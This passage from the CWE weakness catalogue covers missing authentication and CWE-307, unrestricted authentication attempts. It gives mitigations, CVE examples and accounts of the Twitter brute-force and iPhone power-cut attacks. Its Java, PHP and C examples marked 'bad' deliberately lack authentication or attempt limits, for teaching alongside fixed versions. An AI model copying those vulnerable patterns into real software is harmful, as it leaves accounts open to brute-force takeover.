Potential Mitigations

Phase: Architecture and Design

Divide the software into anonymous, normal, privileged, and administrative areas. Identify which of these areas require a proven user identity, and use a centralized authentication capability. Identify all potential communication channels, or other means of interaction with the software, to ensure that all channels are appropriately protected. Developers sometimes perform authentication at the primary channel, but open up a secondary channel that is assumed to be private. For example, a login mechanism may be listening on one network port, but after successful authentication, it may open up a second port where it waits for the connection, but avoids authentication because it assumes that only the authenticated party will connect to the port. In general, if the software or protocol allows a single session or user state to persist across multiple connections or channels, authentication and appropriate credential management need to be used throughout.

Phase: Architecture and Design

For any security checks that are performed on the client side, ensure that these checks are duplicated on the server side, in order to avoid CWE-602. Attackers can bypass the client-side checks by modifying values after the checks have been performed, or by changing the client to remove the client-side checks entirely. Then, these modified values would be submitted to the server.

Phase: Architecture and Design

Where possible, avoid implementing custom authentication routines and consider using authentication capabilities as provided by the surrounding framework, operating system, or environment. These may make it easier to provide a clear separation between authentication tasks and authorization tasks. In environments such as the World Wide Web, the line between authentication and authorization is sometimes blurred. If custom authentication routines are required instead of those provided by the server, then these routines must be applied to every single page, since these pages could be requested directly.

Phase: Architecture and Design

Strategy = Libraries or Frameworks

Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid. For example, consider using libraries with authentication capabilities such as OpenSSL or the ESAPI Authenticator [REF-45].

Demonstrative Examples

Example 1:

In the following Java example the method `createBankAccount` is used to create a `BankAccount` object for a bank management application.

Example Language: Java

(bad)

```
public BankAccount createBankAccount(String accountNumber, String accountType,
String accountName, String accountSSN, double balance) {
    BankAccount account = new BankAccount();
    account.setAccountNumber(accountNumber);
    account.setAccountType(accountType);
```

```
account.setAccountOwnerName(accountName);
account.setAccountOwnerSSN(accountSSN);
account.setBalance(balance);
return account;
}
```

However, there is no authentication mechanism to ensure that the user creating this bank account object has the authority to create new bank accounts. Some authentication mechanisms should be used to verify that the user has the authority to create bank account objects.

The following Java code includes a boolean variable and method for authenticating a user. If the user has not been authenticated then the createBankAccount will not create the bank account object.

Example Language: Java

(good)

```
private boolean isUserAuthentic = false;
// authenticate user,
// if user is authenticated then set variable to true
// otherwise set variable to false
public boolean authenticateUser(String username, String password) {
    ...
}
public BankAccount createNewBankAccount(String accountNumber, String accountType,
String accountName, String accountSSN, double balance) {
    BankAccount account = null;
    if (isUserAuthentic) {
        account = new BankAccount();
        account.setAccountNumber(accountNumber);
        account.setAccountType(accountType);
        account.setAccountOwnerName(accountName);
        account.setAccountOwnerSSN(accountSSN);
        account.setBalance(balance);
    }
    return account;
}
```

Observed Examples

| Reference | Description |
|-----------------------|--|
| CVE-2002-1810 | MFV. Access TFTP server without authentication and obtain configuration file with sensitive plaintext information. https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2002-1810 |
| CVE-2008-6827 | Agent software running at privileges does not authenticate incoming requests over an unprotected channel, allowing a Shatter" attack. https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-6827 |

CWE-307: Improper Restriction of Excessive Authentication Attempts

Weakness ID : 307

Status: Draft

Structure : Simple

Abstraction : Base

Description

The software does not implement sufficient measures to prevent multiple failed authentication attempts within in a short time frame, making it more susceptible to brute force attacks.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Effectiveness = SOAR Partial

Automated Static Analysis

According to SOAR, the following detection techniques may be useful: Cost effective for partial coverage: Configuration Checker

Effectiveness = SOAR Partial

Architecture or Design Review

According to SOAR, the following detection techniques may be useful: Highly cost effective: Formal Methods / Correct-By-Construction Cost effective for partial coverage: Inspection (IEEE 1028 standard) (can apply to requirements, design, source code, etc.)

Effectiveness = High

Potential Mitigations

Phase: Architecture and Design

Common protection mechanisms include: Disconnecting the user after a small number of failed attempts Implementing a timeout Locking out a targeted account Requiring a computational task on the user's part.

Phase: Architecture and Design

Strategy = Libraries or Frameworks

Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid. Consider using libraries with authentication capabilities such as OpenSSL or the ESAPI Authenticator. [REF-45]

Demonstrative Examples

Example 1:

In January 2009, an attacker was able to gain administrator access to a Twitter server because the server did not restrict the number of login attempts. The attacker targeted a member of Twitter's support team and was able to successfully guess the member's password using a brute force attack by guessing a large number of common words. After gaining access as the member of the support staff, the attacker used the administrator panel to gain access to 33 accounts that belonged to celebrities and politicians. Ultimately, fake Twitter messages were sent that appeared to come from the compromised accounts.

Example 2:

The following code, extracted from a servlet's doPost() method, performs an authentication lookup every time the servlet is invoked.

Example Language: Java

(bad)

```
String username = request.getParameter("username");
String password = request.getParameter("password");
int authResult = authenticateUser(username, password);
```

However, the software makes no attempt to restrict excessive authentication attempts.

Example 3:

This code attempts to limit the number of login attempts by causing the process to sleep before completing the authentication.

Example Language: PHP

(bad)

```
$username = $_POST['username'];
$password = $_POST['password'];
sleep(2000);
$isAuthenticated = authenticateUser($username, $password);
```

However, there is no limit on parallel connections, so this does not increase the amount of time an attacker needs to complete an attack.

Example 4:

In the following C/C++ example the `validateUser` method opens a socket connection, reads a username and password from the socket and attempts to authenticate the username and password.

Example Language: C

(bad)

```
int validateUser(char *host, int port)
{
    int socket = openSocketConnection(host, port);
    if (socket < 0) {
        printf("Unable to open socket connection");
        return(FAIL);
    }
    int isValidUser = 0;
    char username[USERNAME_SIZE];
    char password[PASSWORD_SIZE];
    while (isValidUser == 0) {
        if (getNextMessage(socket, username, USERNAME_SIZE) > 0) {
            if (getNextMessage(socket, password, PASSWORD_SIZE) > 0) {
                isValidUser = AuthenticateUser(username, password);
            }
        }
    }
    return(SUCCESS);
}
```

The `validateUser` method will continuously check for a valid username and password without any restriction on the number of authentication attempts made. The method should limit the number of authentication attempts made to prevent brute force attacks as in the following example code.

Example Language: C

(good)

```
int validateUser(char *host, int port)
{
    ...
    int count = 0;
    while ((isValidUser == 0) && (count < MAX_ATTEMPTS)) {
        if (getNextMessage(socket, username, USERNAME_SIZE) > 0) {
            if (getNextMessage(socket, password, PASSWORD_SIZE) > 0) {
                isValidUser = AuthenticateUser(username, password);
            }
        }
        count++;
    }
    if (isValidUser) {
        return(SUCCESS);
    }
    else {
        return(FAIL);
    }
}
```

Example 5:

Consider this example from a real-world attack against the iPhone [REF-1218]. An attacker can use brute force methods; each time there is a failed guess, the attacker quickly cuts the power before the failed entry is recorded, effectively bypassing the intended limit on the number of failed authentication attempts. Note that this attack requires removal of the cell phone battery and connecting directly to the phone's power source, and the brute force attack is still time-consuming.

Observed Examples

| Reference | Description |
|----------------------|---|
| CVE-1999-1152 | Product does not disconnect or timeout after multiple failed logins. https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-1999-1152 |
| CVE-2001-1291 | Product does not disconnect or timeout after multiple failed logins. https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2001-1291 |
| CVE-2001-0395 | Product does not disconnect or timeout after multiple failed logins. https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2001-0395 |
| CVE-2001-1339 | Product does not disconnect or timeout after multiple failed logins. https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2001-1339 |
| CVE-2002-0628 | Product does not disconnect or timeout after multiple failed logins. https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2002-0628 |
| CVE-1999-1324 | User accounts not disabled when they exceed a threshold; possibly a resultant problem. https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-1999-1324 |

MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

| Nature | Type | ID | Name | V | Page |
|----------|------|------|---|------|------|
| MemberOf | C | 724 | OWASP Top Ten 2004 Category A3 - Broken Authentication and Session Management | 711 | 2052 |
| MemberOf | C | 808 | 2010 Top 25 - Weaknesses On the Cusp | 800 | 2072 |
| MemberOf | C | 812 | OWASP Top Ten 2010 Category A3 - Broken Authentication and Session Management | 809 | 2074 |
| MemberOf | C | 866 | 2011 Top 25 - Porous Defenses | 900 | 2088 |
| MemberOf | V | 884 | CWE Cross-section | 884 | 2230 |
| MemberOf | C | 955 | SFP Secondary Cluster: Unrestricted Authentication | 888 | 2114 |
| MemberOf | C | 1353 | OWASP Top Ten 2021 Category A07:2021 - Identification and Authentication Failures | 1344 | 2210 |
